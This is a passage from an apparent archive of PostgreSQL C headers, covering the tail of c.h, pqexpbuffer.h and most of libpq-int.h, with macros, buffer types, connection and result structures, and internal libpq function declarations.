values. * These macros will do the right thing for Inf, but not necessarily for NaN, * so check isnan(num) first if that's a possibility. */ #define FLOAT4_FITS_IN_INT16(num) \ ((num) >= (float4) PG_INT16_MIN && (num) < -((float4) PG_INT16_MIN)) #define FLOAT4_FITS_IN_INT32(num) \ ((num) >= (float4) PG_INT32_MIN && (num) < -((float4) PG_INT32_MIN)) #define FLOAT4_FITS_IN_INT64(num) \ ((num) >= (float4) PG_INT64_MIN && (num) < -((float4) PG_INT64_MIN)) #define FLOAT8_FITS_IN_INT16(num) \ ((num) >= (float8) PG_INT16_MIN && (num) < -((float8) PG_INT16_MIN)) #define FLOAT8_FITS_IN_INT32(num) \ ((num) >= (float8) PG_INT32_MIN && (num) < -((float8) PG_INT32_MIN)) #define FLOAT8_FITS_IN_INT64(num) \ ((num) >= (float8) PG_INT64_MIN && (num) < -((float8) PG_INT64_MIN)) /* ---------------------------------------------------------------- * Section 8: random stuff * ---------------------------------------------------------------- */ #ifdef HAVE_STRUCT_SOCKADDR_UN #define HAVE_UNIX_SOCKETS 1 #endif /* * Invert the sign of a qsort-style comparison result, ie, exchange negative * and positive integer values, being careful not to get the wrong answer * for INT_MIN. The argument should be an integral variable. */ #define INVERT_COMPARE_RESULT(var) \ ((var) = ((var) < 0) ? 1 : -(var)) /* * Use this, not "char buf[BLCKSZ]", to declare a field or local variable * holding a page buffer, if that page might be accessed as a page and not * just a string of bytes. Otherwise the variable might be under-aligned, * causing problems on alignment-picky hardware. (In some places, we use * this to declare buffers even though we only pass them to read() and * write(), because copying to/from aligned buffers is usually faster than * using unaligned buffers.) We include both "double" and "int64" in the * union to ensure that the compiler knows the value must be MAXALIGN'ed * (cf. configure's computation of MAXIMUM_ALIGNOF). */ typedef union PGAlignedBlock { char data[BLCKSZ]; double force_align_d; int64 force_align_i64; } PGAlignedBlock; /* Same, but for an XLOG_BLCKSZ-sized buffer */ typedef union PGAlignedXLogBlock { char data[XLOG_BLCKSZ]; double force_align_d; int64 force_align_i64; } PGAlignedXLogBlock; /* msb for char */ #define HIGHBIT (0x80) #define IS_HIGHBIT_SET(ch) ((unsigned char)(ch) & HIGHBIT) /* * Support macros for escaping strings. escape_backslash should be true * if generating a non-standard-conforming string. Prefixing a string * with ESCAPE_STRING_SYNTAX guarantees it is non-standard-conforming. * Beware of multiple evaluation of the "ch" argument! */ #define SQL_STR_DOUBLE(ch, escape_backslash) \ ((ch) == '\'' || ((ch) == '\\' && (escape_backslash))) #define ESCAPE_STRING_SYNTAX 'E' #define STATUS_OK (0) #define STATUS_ERROR (-1) #define STATUS_EOF (-2) #define STATUS_WAITING (2) /* * gettext support */ #ifndef ENABLE_NLS /* stuff we'd otherwise get from <libintl.h> */ #define gettext(x) (x) #define dgettext(d,x) (x) #define ngettext(s,p,n) ((n) == 1 ? (s) : (p)) #define dngettext(d,s,p,n) ((n) == 1 ? (s) : (p)) #endif #define _(x) gettext(x) /* * Use this to mark string constants as needing translation at some later * time, rather than immediately. This is useful for cases where you need * access to the original string and translated string, and for cases where * immediate translation is not possible, like when initializing global * variables. * http://www.gnu.org/software/autoconf/manual/gettext/Special-cases.html */ #define gettext_noop(x) (x) /* * To better support parallel installations of major PostgreSQL * versions as well as parallel installations of major library soname * versions, we mangle the gettext domain name by appending those * version numbers. The coding rule ought to be that wherever the * domain name is mentioned as a literal, it must be wrapped into * PG_TEXTDOMAIN(). The macros below do not work on non-literals; but * that is somewhat intentional because it avoids having to worry * about multiple states of premangling and postmangling as the values * are being passed around. * * Make sure this matches the installation rules in nls-global.mk. */ #ifdef SO_MAJOR_VERSION #define PG_TEXTDOMAIN(domain) (domain CppAsString2(SO_MAJOR_VERSION) "-" PG_MAJORVERSION) #else #define PG_TEXTDOMAIN(domain) (domain "-" PG_MAJORVERSION) #endif /* * Macro that allows to cast constness and volatile away from an expression, but doesn't * allow changing the underlying type. Enforcement of the latter * currently only works for gcc like compilers. * * Please note IT IS NOT SAFE to cast constness away if the result will ever * be modified (it would be undefined behaviour). Doing so anyway can cause * compiler misoptimizations or runtime crashes (modifying readonly memory). * It is only safe to use when the result will not be modified, but API * design or language restrictions prevent you from declaring that * (e.g. because a function returns both const and non-const variables). * * Note that this only works in function scope, not for global variables (it'd * be nice, but not trivial, to improve that). */ #if defined(HAVE__BUILTIN_TYPES_COMPATIBLE_P) #define unconstify(underlying_type, expr) \ (StaticAssertExpr(__builtin_types_compatible_p(__typeof(expr), const underlying_type), \ "wrong cast"), \ (underlying_type) (expr)) #define unvolatize(underlying_type, expr) \ (StaticAssertExpr(__builtin_types_compatible_p(__typeof(expr), volatile underlying_type), \ "wrong cast"), \ (underlying_type) (expr)) #else #define unconstify(underlying_type, expr) \ ((underlying_type) (expr)) #define unvolatize(underlying_type, expr) \ ((underlying_type) (expr)) #endif /* ---------------------------------------------------------------- * Section 9: system-specific hacks * * This should be limited to things that absolutely have to be * included in every source file. The port-specific header file * is usually a better place for this sort of thing. * ---------------------------------------------------------------- */ /* * NOTE: this is also used for opening text files. * WIN32 treats Control-Z as EOF in files opened in text mode. * Therefore, we open files in binary mode on Win32 so we can read * literal control-Z. The other affect is that we see CRLF, but * that is OK because we can already handle those cleanly. */ #if defined(WIN32) || defined(__CYGWIN__) #define PG_BINARY O_BINARY #define PG_BINARY_A "ab" #define PG_BINARY_R "rb" #define PG_BINARY_W "wb" #else #define PG_BINARY 0 #define PG_BINARY_A "a" #define PG_BINARY_R "r" #define PG_BINARY_W "w" #endif /* * Provide prototypes for routines not present in a particular machine's * standard C library. */ #if defined(HAVE_FDATASYNC) && !HAVE_DECL_FDATASYNC extern int fdatasync(int fildes); #endif /* Older platforms may provide strto[u]ll functionality under other names */ #if !defined(HAVE_STRTOLL) && defined(HAVE___STRTOLL) #define strtoll __strtoll #define HAVE_STRTOLL 1 #endif #if !defined(HAVE_STRTOLL) && defined(HAVE_STRTOQ) #define strtoll strtoq #define HAVE_STRTOLL 1 #endif #if !defined(HAVE_STRTOULL) && defined(HAVE___STRTOULL) #define strtoull __strtoull #define HAVE_STRTOULL 1 #endif #if !defined(HAVE_STRTOULL) && defined(HAVE_STRTOUQ) #define strtoull strtouq #define HAVE_STRTOULL 1 #endif #if defined(HAVE_STRTOLL) && !HAVE_DECL_STRTOLL extern long long strtoll(const char *str, char **endptr, int base); #endif #if defined(HAVE_STRTOULL) && !HAVE_DECL_STRTOULL extern unsigned long long strtoull(const char *str, char **endptr, int base); #endif /* no special DLL markers on most ports */ #ifndef PGDLLIMPORT #define PGDLLIMPORT #endif #ifndef PGDLLEXPORT #define PGDLLEXPORT #endif /* * The following is used as the arg list for signal handlers. Any ports * that take something other than an int argument should override this in * their pg_config_os.h file. Note that variable names are required * because it is used in both the prototypes as well as the definitions. * Note also the long name. We expect that this won't collide with * other names causing compiler warnings. */ #ifndef SIGNAL_ARGS #define SIGNAL_ARGS int postgres_signal_arg #endif /* * When there is no sigsetjmp, its functionality is provided by plain * setjmp. Incidentally, nothing provides setjmp's functionality in * that case. We now support the case only on Windows. */ #ifdef WIN32 #define sigjmp_buf jmp_buf #define sigsetjmp(x,y) setjmp(x) #define siglongjmp longjmp #endif /* EXEC_BACKEND defines */ #ifdef EXEC_BACKEND #define NON_EXEC_STATIC #else #define NON_EXEC_STATIC static #endif /* /port compatibility functions */ #include "port.h" #endif /* C_H */ pgsql/internal/pqexpbuffer.h 0000644 00000014342 15246445047 0012225 0 ustar 00 /*------------------------------------------------------------------------- * * pqexpbuffer.h * Declarations/definitions for "PQExpBuffer" functions. * * PQExpBuffer provides an indefinitely-extensible string data type. * It can be used to buffer either ordinary C strings (null-terminated text) * or arbitrary binary data. All storage is allocated with malloc(). * * This module is essentially the same as the backend's StringInfo data type, * but it is intended for use in frontend libpq and client applications. * Thus, it does not rely on palloc() nor elog(). * * It does rely on vsnprintf(); if configure finds that libc doesn't provide * a usable vsnprintf(), then a copy of our own implementation of it will * be linked into libpq. * * Portions Copyright (c) 1996-2020, PostgreSQL Global Development Group * Portions Copyright (c) 1994, Regents of the University of California * * src/interfaces/libpq/pqexpbuffer.h * *------------------------------------------------------------------------- */ #ifndef PQEXPBUFFER_H #define PQEXPBUFFER_H /*------------------------- * PQExpBufferData holds information about an extensible string. * data is the current buffer for the string (allocated with malloc). * len is the current string length. There is guaranteed to be * a terminating '\0' at data[len], although this is not very * useful when the string holds binary data rather than text. * maxlen is the allocated size in bytes of 'data', i.e. the maximum * string size (including the terminating '\0' char) that we can * currently store in 'data' without having to reallocate * more space. We must always have maxlen > len. * * An exception occurs if we failed to allocate enough memory for the string * buffer. In that case data points to a statically allocated empty string, * and len = maxlen = 0. *------------------------- */ typedef struct PQExpBufferData { char *data; size_t len; size_t maxlen; } PQExpBufferData; typedef PQExpBufferData *PQExpBuffer; /*------------------------ * Test for a broken (out of memory) PQExpBuffer. * When a buffer is "broken", all operations except resetting or deleting it * are no-ops. *------------------------ */ #define PQExpBufferBroken(str) \ ((str) == NULL || (str)->maxlen == 0) /*------------------------ * Same, but for use when using a static or local PQExpBufferData struct. * For that, a null-pointer test is useless and may draw compiler warnings. *------------------------ */ #define PQExpBufferDataBroken(buf) \ ((buf).maxlen == 0) /*------------------------ * Initial size of the data buffer in a PQExpBuffer. * NB: this must be large enough to hold error messages that might * be returned by PQrequestCancel(). *------------------------ */ #define INITIAL_EXPBUFFER_SIZE 256 /*------------------------ * There are two ways to create a PQExpBuffer object initially: * * PQExpBuffer stringptr = createPQExpBuffer(); * Both the PQExpBufferData and the data buffer are malloc'd. * * PQExpBufferData string; * initPQExpBuffer(&string); * The data buffer is malloc'd but the PQExpBufferData is presupplied. * This is appropriate if the PQExpBufferData is a field of another * struct. *------------------------- */ /*------------------------ * createPQExpBuffer * Create an empty 'PQExpBufferData' & return a pointer to it. */ extern PQExpBuffer createPQExpBuffer(void); /*------------------------ * initPQExpBuffer * Initialize a PQExpBufferData struct (with previously undefined contents) * to describe an empty string. */ extern void initPQExpBuffer(PQExpBuffer str); /*------------------------ * To destroy a PQExpBuffer, use either: * * destroyPQExpBuffer(str); * free()s both the data buffer and the PQExpBufferData. * This is the inverse of createPQExpBuffer(). * * termPQExpBuffer(str) * free()s the data buffer but not the PQExpBufferData itself. * This is the inverse of initPQExpBuffer(). * * NOTE: some routines build up a string using PQExpBuffer, and then * release the PQExpBufferData but return the data string itself to their * caller. At that point the data string looks like a plain malloc'd * string. */ extern void destroyPQExpBuffer(PQExpBuffer str); extern void termPQExpBuffer(PQExpBuffer str); /*------------------------ * resetPQExpBuffer * Reset a PQExpBuffer to empty * * Note: if possible, a "broken" PQExpBuffer is returned to normal. */ extern void resetPQExpBuffer(PQExpBuffer str); /*------------------------ * enlargePQExpBuffer * Make sure there is enough space for 'needed' more bytes in the buffer * ('needed' does not include the terminating null). * * Returns 1 if OK, 0 if failed to enlarge buffer. (In the latter case * the buffer is left in "broken" state.) */ extern int enlargePQExpBuffer(PQExpBuffer str, size_t needed); /*------------------------ * printfPQExpBuffer * Format text data under the control of fmt (an sprintf-like format string) * and insert it into str. More space is allocated to str if necessary. * This is a convenience routine that does the same thing as * resetPQExpBuffer() followed by appendPQExpBuffer(). */ extern void printfPQExpBuffer(PQExpBuffer str, const char *fmt,...) pg_attribute_printf(2, 3); /*------------------------ * appendPQExpBuffer * Format text data under the control of fmt (an sprintf-like format string) * and append it to whatever is already in str. More space is allocated * to str if necessary. This is sort of like a combination of sprintf and * strcat. */ extern void appendPQExpBuffer(PQExpBuffer str, const char *fmt,...) pg_attribute_printf(2, 3); /*------------------------ * appendPQExpBufferStr * Append the given string to a PQExpBuffer, allocating more space * if necessary. */ extern void appendPQExpBufferStr(PQExpBuffer str, const char *data); /*------------------------ * appendPQExpBufferChar * Append a single byte to str. * Like appendPQExpBuffer(str, "%c", ch) but much faster. */ extern void appendPQExpBufferChar(PQExpBuffer str, char ch); /*------------------------ * appendBinaryPQExpBuffer * Append arbitrary binary data to a PQExpBuffer, allocating more space * if necessary. */ extern void appendBinaryPQExpBuffer(PQExpBuffer str, const char *data, size_t datalen); #endif /* PQEXPBUFFER_H */ pgsql/internal/libpq-int.h 0000644 00000073044 15246445047 0011601 0 ustar 00 /*------------------------------------------------------------------------- * * libpq-int.h * This file contains internal definitions meant to be used only by * the frontend libpq library, not by applications that call it. * * An application can include this file if it wants to bypass the * official API defined by libpq-fe.h, but code that does so is much * more likely to break across PostgreSQL releases than code that uses * only the official API. * * Portions Copyright (c) 1996-2020, PostgreSQL Global Development Group * Portions Copyright (c) 1994, Regents of the University of California * * src/interfaces/libpq/libpq-int.h * *------------------------------------------------------------------------- */ #ifndef LIBPQ_INT_H #define LIBPQ_INT_H /* We assume libpq-fe.h has already been included. */ #include "libpq-events.h" #include <time.h> #ifndef WIN32 #include <sys/time.h> #endif #ifdef ENABLE_THREAD_SAFETY #ifdef WIN32 #include "pthread-win32.h" #else #include <pthread.h> #endif #include <signal.h> #endif /* include stuff common to fe and be */ #include "getaddrinfo.h" #include "libpq/pqcomm.h" /* include stuff found in fe only */ #include "pqexpbuffer.h" #ifdef ENABLE_GSS #if defined(HAVE_GSSAPI_H) #include <gssapi.h> #else #include <gssapi/gssapi.h> #endif #endif #ifdef ENABLE_SSPI #define SECURITY_WIN32 #if defined(WIN32) && !defined(_MSC_VER) #include <ntsecapi.h> #endif #include <security.h> #undef SECURITY_WIN32 #ifndef ENABLE_GSS /* * Define a fake structure compatible with GSSAPI on Unix. */ typedef struct { void *value; int length; } gss_buffer_desc; #endif #endif /* ENABLE_SSPI */ #ifdef USE_OPENSSL #include <openssl/ssl.h> #include <openssl/err.h> #ifndef OPENSSL_NO_ENGINE #define USE_SSL_ENGINE #endif #endif /* USE_OPENSSL */ /* * POSTGRES backend dependent Constants. */ #define CMDSTATUS_LEN 64 /* should match COMPLETION_TAG_BUFSIZE */ /* * PGresult and the subsidiary types PGresAttDesc, PGresAttValue * represent the result of a query (or more precisely, of a single SQL * command --- a query string given to PQexec can contain multiple commands). * Note we assume that a single command can return at most one tuple group, * hence there is no need for multiple descriptor sets. */ /* Subsidiary-storage management structure for PGresult. * See space management routines in fe-exec.c for details. * Note that space[k] refers to the k'th byte starting from the physical * head of the block --- it's a union, not a struct! */ typedef union pgresult_data PGresult_data; union pgresult_data { PGresult_data *next; /* link to next block, or NULL */ char space[1]; /* dummy for accessing block as bytes */ }; /* Data about a single parameter of a prepared statement */ typedef struct pgresParamDesc { Oid typid; /* type id */ } PGresParamDesc; /* * Data for a single attribute of a single tuple * * We use char* for Attribute values. * * The value pointer always points to a null-terminated area; we add a * null (zero) byte after whatever the backend sends us. This is only * particularly useful for text values ... with a binary value, the * value might have embedded nulls, so the application can't use C string * operators on it. But we add a null anyway for consistency. * Note that the value itself does not contain a length word. * * A NULL attribute is a special case in two ways: its len field is NULL_LEN * and its value field points to null_field in the owning PGresult. All the * NULL attributes in a query result point to the same place (there's no need * to store a null string separately for each one). */ #define NULL_LEN (-1) /* pg_result len for NULL value */ typedef struct pgresAttValue { int len; /* length in bytes of the value */ char *value; /* actual value, plus terminating zero byte */ } PGresAttValue; /* Typedef for message-field list entries */ typedef struct pgMessageField { struct pgMessageField *next; /* list link */ char code; /* field code */ char contents[FLEXIBLE_ARRAY_MEMBER]; /* value, nul-terminated */ } PGMessageField; /* Fields needed for notice handling */ typedef struct { PQnoticeReceiver noticeRec; /* notice message receiver */ void *noticeRecArg; PQnoticeProcessor noticeProc; /* notice message processor */ void *noticeProcArg; } PGNoticeHooks; typedef struct PGEvent { PGEventProc proc; /* the function to call on events */ char *name; /* used only for error messages */ void *passThrough; /* pointer supplied at registration time */ void *data; /* optional state (instance) data */ bool resultInitialized; /* T if RESULTCREATE/COPY succeeded */ } PGEvent; struct pg_result { int ntups; int numAttributes; PGresAttDesc *attDescs; PGresAttValue **tuples; /* each PGresult tuple is an array of * PGresAttValue's */ int tupArrSize; /* allocated size of tuples array */ int numParameters; PGresParamDesc *paramDescs; ExecStatusType resultStatus; char cmdStatus[CMDSTATUS_LEN]; /* cmd status from the query */ int binary; /* binary tuple values if binary == 1, * otherwise text */ /* * These fields are copied from the originating PGconn, so that operations * on the PGresult don't have to reference the PGconn. */ PGNoticeHooks noticeHooks; PGEvent *events; int nEvents; int client_encoding; /* encoding id */ /* * Error information (all NULL if not an error result). errMsg is the * "overall" error message returned by PQresultErrorMessage. If we have * per-field info then it is stored in a linked list. */ char *errMsg; /* error message, or NULL if no error */ PGMessageField *errFields; /* message broken into fields */ char *errQuery; /* text of triggering query, if available */ /* All NULL attributes in the query result point to this null string */ char null_field[1]; /* * Space management information. Note that attDescs and error stuff, if * not null, point into allocated blocks. But tuples points to a * separately malloc'd block, so that we can realloc it. */ PGresult_data *curBlock; /* most recently allocated block */ int curOffset; /* start offset of free space in block */ int spaceLeft; /* number of free bytes remaining in block */ size_t memorySize; /* total space allocated for this PGresult */ }; /* PGAsyncStatusType defines the state of the query-execution state machine */ typedef enum { PGASYNC_IDLE, /* nothing's happening, dude */ PGASYNC_BUSY, /* query in progress */ PGASYNC_READY, /* result ready for PQgetResult */ PGASYNC_COPY_IN, /* Copy In data transfer in progress */ PGASYNC_COPY_OUT, /* Copy Out data transfer in progress */ PGASYNC_COPY_BOTH /* Copy In/Out data transfer in progress */ } PGAsyncStatusType; /* PGQueryClass tracks which query protocol we are now executing */ typedef enum { PGQUERY_SIMPLE, /* simple Query protocol (PQexec) */ PGQUERY_EXTENDED, /* full Extended protocol (PQexecParams) */ PGQUERY_PREPARE, /* Parse only (PQprepare) */ PGQUERY_DESCRIBE /* Describe Statement or Portal */ } PGQueryClass; /* PGSetenvStatusType defines the state of the pqSetenv state machine */ /* (this is used only for 2.0-protocol connections) */ typedef enum { SETENV_STATE_CLIENT_ENCODING_SEND, /* About to send an Environment Option */ SETENV_STATE_CLIENT_ENCODING_WAIT, /* Waiting for above send to complete */ SETENV_STATE_OPTION_SEND, /* About to send an Environment Option */ SETENV_STATE_OPTION_WAIT, /* Waiting for above send to complete */ SETENV_STATE_QUERY1_SEND, /* About to send a status query */ SETENV_STATE_QUERY1_WAIT, /* Waiting for query to complete */ SETENV_STATE_QUERY2_SEND, /* About to send a status query */ SETENV_STATE_QUERY2_WAIT, /* Waiting for query to complete */ SETENV_STATE_IDLE } PGSetenvStatusType; /* Typedef for the EnvironmentOptions[] array */ typedef struct PQEnvironmentOption { const char *envName, /* name of an environment variable */ *pgName; /* name of corresponding SET variable */ } PQEnvironmentOption; /* Typedef for parameter-status list entries */ typedef struct pgParameterStatus { struct pgParameterStatus *next; /* list link */ char *name; /* parameter name */ char *value; /* parameter value */ /* Note: name and value are stored in same malloc block as struct is */ } pgParameterStatus; /* large-object-access data ... allocated only if large-object code is used. */ typedef struct pgLobjfuncs { Oid fn_lo_open; /* OID of backend function lo_open */ Oid fn_lo_close; /* OID of backend function lo_close */ Oid fn_lo_creat; /* OID of backend function lo_creat */ Oid fn_lo_create; /* OID of backend function lo_create */ Oid fn_lo_unlink; /* OID of backend function lo_unlink */ Oid fn_lo_lseek; /* OID of backend function lo_lseek */ Oid fn_lo_lseek64; /* OID of backend function lo_lseek64 */ Oid fn_lo_tell; /* OID of backend function lo_tell */ Oid fn_lo_tell64; /* OID of backend function lo_tell64 */ Oid fn_lo_truncate; /* OID of backend function lo_truncate */ Oid fn_lo_truncate64; /* OID of function lo_truncate64 */ Oid fn_lo_read; /* OID of backend function LOread */ Oid fn_lo_write; /* OID of backend function LOwrite */ } PGlobjfuncs; /* PGdataValue represents a data field value being passed to a row processor. * It could be either text or binary data; text data is not zero-terminated. * A SQL NULL is represented by len < 0; then value is still valid but there * are no data bytes there. */ typedef struct pgDataValue { int len; /* data length in bytes, or <0 if NULL */ const char *value; /* data value, without zero-termination */ } PGdataValue; /* Host address type enum for struct pg_conn_host */ typedef enum pg_conn_host_type { CHT_HOST_NAME, CHT_HOST_ADDRESS, CHT_UNIX_SOCKET } pg_conn_host_type; /* * pg_conn_host stores all information about each of possibly several hosts * mentioned in the connection string. Most fields are derived by splitting * the relevant connection parameter (e.g., pghost) at commas. */ typedef struct pg_conn_host { pg_conn_host_type type; /* type of host address */ char *host; /* host name or socket path */ char *hostaddr; /* host numeric IP address */ char *port; /* port number (if NULL or empty, use * DEF_PGPORT[_STR]) */ char *password; /* password for this host, read from the * password file; NULL if not sought or not * found in password file. */ } pg_conn_host; /* * PGconn stores all the state data associated with a single connection * to a backend. */ struct pg_conn { /* Saved values of connection options */ char *pghost; /* the machine on which the server is running, * or a path to a UNIX-domain socket, or a * comma-separated list of machines and/or * paths; if NULL, use DEFAULT_PGSOCKET_DIR */ char *pghostaddr; /* the numeric IP address of the machine on * which the server is running, or a * comma-separated list of same. Takes * precedence over pghost. */ char *pgport; /* the server's communication port number, or * a comma-separated list of ports */ char *pgtty; /* tty on which the backend messages is * displayed (OBSOLETE, NOT USED) */ char *connect_timeout; /* connection timeout (numeric string) */ char *pgtcp_user_timeout; /* tcp user timeout (numeric string) */ char *client_encoding_initial; /* encoding to use */ char *pgoptions; /* options to start the backend with */ char *appname; /* application name */ char *fbappname; /* fallback application name */ char *dbName; /* database name */ char *replication; /* connect as the replication standby? */ char *pguser; /* Postgres username and password, if any */ char *pgpass; char *pgpassfile; /* path to a file containing password(s) */ char *channel_binding; /* channel binding mode * (require,prefer,disable) */ char *keepalives; /* use TCP keepalives? */ char *keepalives_idle; /* time between TCP keepalives */ char *keepalives_interval; /* time between TCP keepalive * retransmits */ char *keepalives_count; /* maximum number of TCP keepalive * retransmits */ char *sslmode; /* SSL mode (require,prefer,allow,disable) */ char *sslcompression; /* SSL compression (0 or 1) */ char *sslkey; /* client key filename */ char *sslcert; /* client certificate filename */ char *sslpassword; /* client key file password */ char *sslrootcert; /* root certificate filename */ char *sslcrl; /* certificate revocation list filename */ char *requirepeer; /* required peer credentials for local sockets */ char *gssencmode; /* GSS mode (require,prefer,disable) */ char *krbsrvname; /* Kerberos service name */ char *gsslib; /* What GSS library to use ("gssapi" or * "sspi") */ char *ssl_min_protocol_version; /* minimum TLS protocol version */ char *ssl_max_protocol_version; /* maximum TLS protocol version */ /* Type of connection to make. Possible values: any, read-write. */ char *target_session_attrs; /* Optional file to write trace info to */ FILE *Pfdebug; /* Callback procedures for notice message processing */ PGNoticeHooks noticeHooks; /* Event procs registered via PQregisterEventProc */ PGEvent *events; /* expandable array of event data */ int nEvents; /* number of active events */ int eventArraySize; /* allocated array size */ /* Status indicators */ ConnStatusType status; PGAsyncStatusType asyncStatus; PGTransactionStatusType xactStatus; /* never changes to ACTIVE */ PGQueryClass queryclass; char *last_query; /* last SQL command, or NULL if unknown */ char last_sqlstate[6]; /* last reported SQLSTATE */ bool options_valid; /* true if OK to attempt connection */ bool nonblocking; /* whether this connection is using nonblock * sending semantics */ bool singleRowMode; /* return current query result row-by-row? */ char copy_is_binary; /* 1 = copy binary, 0 = copy text */ int copy_already_done; /* # bytes already returned in COPY OUT */ PGnotify *notifyHead; /* oldest unreported Notify msg */ PGnotify *notifyTail; /* newest unreported Notify msg */ /* Support for multiple hosts in connection string */ int nconnhost; /* # of hosts named in conn string */ int whichhost; /* host we're currently trying/connected to */ pg_conn_host *connhost; /* details about each named host */ char *connip; /* IP address for current network connection */ /* Connection data */ pgsocket sock; /* FD for socket, PGINVALID_SOCKET if * unconnected */ SockAddr laddr; /* Local address */ SockAddr raddr; /* Remote address */ ProtocolVersion pversion; /* FE/BE protocol version in use */ int sversion; /* server version, e.g. 70401 for 7.4.1 */ bool auth_req_received; /* true if any type of auth req received */ bool password_needed; /* true if server demanded a password */ bool sigpipe_so; /* have we masked SIGPIPE via SO_NOSIGPIPE? */ bool sigpipe_flag; /* can we mask SIGPIPE via MSG_NOSIGNAL? */ bool write_failed; /* have we had a write failure on sock? */ char *write_err_msg; /* write error message, or NULL if OOM */ /* Transient state needed while establishing connection */ bool try_next_addr; /* time to advance to next address/host? */ bool try_next_host; /* time to advance to next connhost[]? */ struct addrinfo *addrlist; /* list of addresses for current connhost */ struct addrinfo *addr_cur; /* the one currently being tried */ int addrlist_family; /* needed to know how to free addrlist */ PGSetenvStatusType setenv_state; /* for 2.0 protocol only */ const PQEnvironmentOption *next_eo; bool send_appname; /* okay to send application_name? */ /* Miscellaneous stuff */ int be_pid; /* PID of backend --- needed for cancels */ int be_key; /* key of backend --- needed for cancels */ pgParameterStatus *pstatus; /* ParameterStatus data */ int client_encoding; /* encoding id */ bool std_strings; /* standard_conforming_strings */ PGVerbosity verbosity; /* error/notice message verbosity */ PGContextVisibility show_context; /* whether to show CONTEXT field */ PGlobjfuncs *lobjfuncs; /* private state for large-object access fns */ /* * Buffer for data received from backend and not yet processed. * * NB: We rely on a maximum inBufSize/outBufSize of INT_MAX (and therefore * an INT_MAX upper bound on the size of any and all packet contents) to * avoid overflow; for example in reportErrorPosition(). Changing the type * would require not only an adjustment to the overflow protection in * pqCheck{In,Out}BufferSpace(), but also a careful audit of all libpq * code that uses ints during size calculations. */ char *inBuffer; /* currently allocated buffer */ int inBufSize; /* allocated size of buffer */ int inStart; /* offset to first unconsumed data in buffer */ int inCursor; /* next byte to tentatively consume */ int inEnd; /* offset to first position after avail data */ /* Buffer for data not yet sent to backend */ char *outBuffer; /* currently allocated buffer */ int outBufSize; /* allocated size of buffer */ int outCount; /* number of chars waiting in buffer */ /* State for constructing messages in outBuffer */ int outMsgStart; /* offset to msg start (length word); if -1, * msg has no length word */ int outMsgEnd; /* offset to msg end (so far) */ /* Row processor interface workspace */ PGdataValue *rowBuf; /* array for passing values to rowProcessor */ int rowBufLen; /* number of entries allocated in rowBuf */ /* Status for asynchronous result construction */ PGresult *result; /* result being constructed */ PGresult *next_result; /* next result (used in single-row mode) */ /* Assorted state for SASL, SSL, GSS, etc */ void *sasl_state; /* SSL structures */ bool ssl_in_use; #ifdef USE_SSL bool allow_ssl_try; /* Allowed to try SSL negotiation */ bool wait_ssl_try; /* Delay SSL negotiation until after * attempting normal connection */ #ifdef USE_OPENSSL SSL *ssl; /* SSL status, if have SSL connection */ X509 *peer; /* X509 cert of server */ #ifdef USE_SSL_ENGINE ENGINE *engine; /* SSL engine, if any */ #else void *engine; /* dummy field to keep struct the same if * OpenSSL version changes */ #endif #endif /* USE_OPENSSL */ #endif /* USE_SSL */ #ifdef ENABLE_GSS gss_ctx_id_t gctx; /* GSS context */ gss_name_t gtarg_nam; /* GSS target name */ /* The following are encryption-only */ bool try_gss; /* GSS attempting permitted */ bool gssenc; /* GSS encryption is usable */ gss_cred_id_t gcred; /* GSS credential temp storage. */ /* GSS encryption I/O state --- see fe-secure-gssapi.c */ char *gss_SendBuffer; /* Encrypted data waiting to be sent */ int gss_SendLength; /* End of data available in gss_SendBuffer */ int gss_SendNext; /* Next index to send a byte from * gss_SendBuffer */ int gss_SendConsumed; /* Number of source bytes encrypted but * not yet reported as sent */ char *gss_RecvBuffer; /* Received, encrypted data */ int gss_RecvLength; /* End of data available in gss_RecvBuffer */ char *gss_ResultBuffer; /* Decryption of data in gss_RecvBuffer */ int gss_ResultLength; /* End of data available in * gss_ResultBuffer */ int gss_ResultNext; /* Next index to read a byte from * gss_ResultBuffer */ uint32 gss_MaxPktSize; /* Maximum size we can encrypt and fit the * results into our output buffer */ #endif #ifdef ENABLE_SSPI CredHandle *sspicred; /* SSPI credentials handle */ CtxtHandle *sspictx; /* SSPI context */ char *sspitarget; /* SSPI target name */ int usesspi; /* Indicate if SSPI is in use on the * connection */ #endif /* Buffer for current error message */ PQExpBufferData errorMessage; /* expansible string */ /* Buffer for receiving various parts of messages */ PQExpBufferData workBuffer; /* expansible string */ }; /* PGcancel stores all data necessary to cancel a connection. A copy of this * data is required to safely cancel a connection running on a different * thread. */ struct pg_cancel { SockAddr raddr; /* Remote address */ int be_pid; /* PID of backend --- needed for cancels */ int be_key; /* key of backend --- needed for cancels */ }; /* String descriptions of the ExecStatusTypes. * direct use of this array is deprecated; call PQresStatus() instead. */ extern char *const pgresStatus[]; #ifdef USE_SSL #ifndef WIN32 #define USER_CERT_FILE ".postgresql/postgresql.crt" #define USER_KEY_FILE ".postgresql/postgresql.key" #define ROOT_CERT_FILE ".postgresql/root.crt" #define ROOT_CRL_FILE ".postgresql/root.crl" #else /* On Windows, the "home" directory is already PostgreSQL-specific */ #define USER_CERT_FILE "postgresql.crt" #define USER_KEY_FILE "postgresql.key" #define ROOT_CERT_FILE "root.crt" #define ROOT_CRL_FILE "root.crl" #endif #endif /* USE_SSL */ /* ---------------- * Internal functions of libpq * Functions declared here need to be visible across files of libpq, * but are not intended to be called by applications. We use the * convention "pqXXX" for internal functions, vs. the "PQxxx" names * used for application-visible routines. * ---------------- */ /* === in fe-connect.c === */ extern void pqDropConnection(PGconn *conn, bool flushInput); extern int pqPacketSend(PGconn *conn, char pack_type, const void *buf, size_t buf_len); extern bool pqGetHomeDirectory(char *buf, int bufsize); #ifdef ENABLE_THREAD_SAFETY extern pgthreadlock_t pg_g_threadlock; #define PGTHREAD_ERROR(msg) \ do { \ fprintf(stderr, "%s\n", msg); \ abort(); \ } while (0) #define pglock_thread() pg_g_threadlock(true) #define pgunlock_thread() pg_g_threadlock(false) #else #define pglock_thread() ((void) 0) #define pgunlock_thread() ((void) 0) #endif /* === in fe-exec.c === */ extern void pqSetResultError(PGresult *res, const char *msg); extern void pqCatenateResultError(PGresult *res, const char *msg); extern void *pqResultAlloc(PGresult *res, size_t nBytes, bool isBinary); extern char *pqResultStrdup(PGresult *res, const char *str); extern void pqClearAsyncResult(PGconn *conn); extern void pqSaveErrorResult(PGconn *conn); extern PGresult *pqPrepareAsyncResult(PGconn *conn); extern void pqInternalNotice(const PGNoticeHooks *hooks, const char *fmt,...) pg_attribute_printf(2, 3); extern void pqSaveMessageField(PGresult *res, char code, const char 